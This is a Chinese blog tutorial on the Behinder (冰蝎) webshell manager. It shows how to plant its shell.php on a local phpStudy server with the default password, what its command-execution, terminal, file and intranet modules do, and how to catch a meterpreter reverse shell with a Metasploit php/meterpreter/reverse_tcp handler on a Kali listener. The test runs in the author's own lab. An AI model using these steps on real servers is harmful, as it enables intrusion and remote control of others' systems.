冰蝎使用

最新推荐文章于 2025-04-09 16:45:57 发布

番茄酱料

最新推荐文章于 2025-04-09 16:45:57 发布

阅读量1.8w

点赞数 14

分类专栏：工具

本文链接：https://blog.csdn.net/bring_coco/article/details/114302178

版权

工具专栏收录该内容

14 篇文章

订阅专栏

一．启动

Windows环境下：
1.配置环境：冰蝎只支持jre6-jre8
可以在电脑上查看java版本
命令：java -version
在这里插入图片描述
2.启动
在冰蝎目录下命令行输入
命令：java -jar Behinder_v3.0_Beta6_win.jar（这里文件名可简化）

即可开启
Linux环境下：
注意切换jdk版本6-8，对应javac版本也要和java版本相同，同理打开冰蝎目录输入命令

二．使用（在本机进行实测）

环境：phpStudy+冰蝎

通过启动phpStudy，访问本机地址
在这里插入图片描述
成功访问说明环境已经搭建成功

在网站根目录下创建一个shell2.php的php文件，文件内容需要我们下载的冰蝎server中带有的shell.php文件中的内容复制过去

可以看到默认连接密码为rebeyond
这时通过冰蝎去连接该文件
在这里插入图片描述
输入URL和密码即可

点击此URL

可以看到成功连接，此时已经把基本信息显示出来了

三．模块介绍

1.基本信息

直接显示出phpinfo，通过此表可以用来信息收集

2.命令执行

在这里插入图片描述

3.虚拟终端

在这里插入图片描述
也可以进行cmd.exe，powershell.exe等功能

4.文件管理

在这里插入图片描述
可以操作管理文件

5.内网渗透

在这里插入图片描述

6.反弹shell

这里演示利用kali虚拟机作监听
Kali（10.0.78.17）
本机（10.0.78.14）
（1）首先打开msf，设置监听
命令：use exploit/multi/handler
set payload php/meterpreter/reverse_tcp（主要此时的paload）
在这里插入图片描述
接下来设置参数
命令：show options

可以看到只需要设置LHOST即可
命令：set LHOST 10.0.78.17

然后exploit执行
跳转到冰蝎界面，输入对应ip地址及端口，点击给我连

查看结果

成功返回meterpreter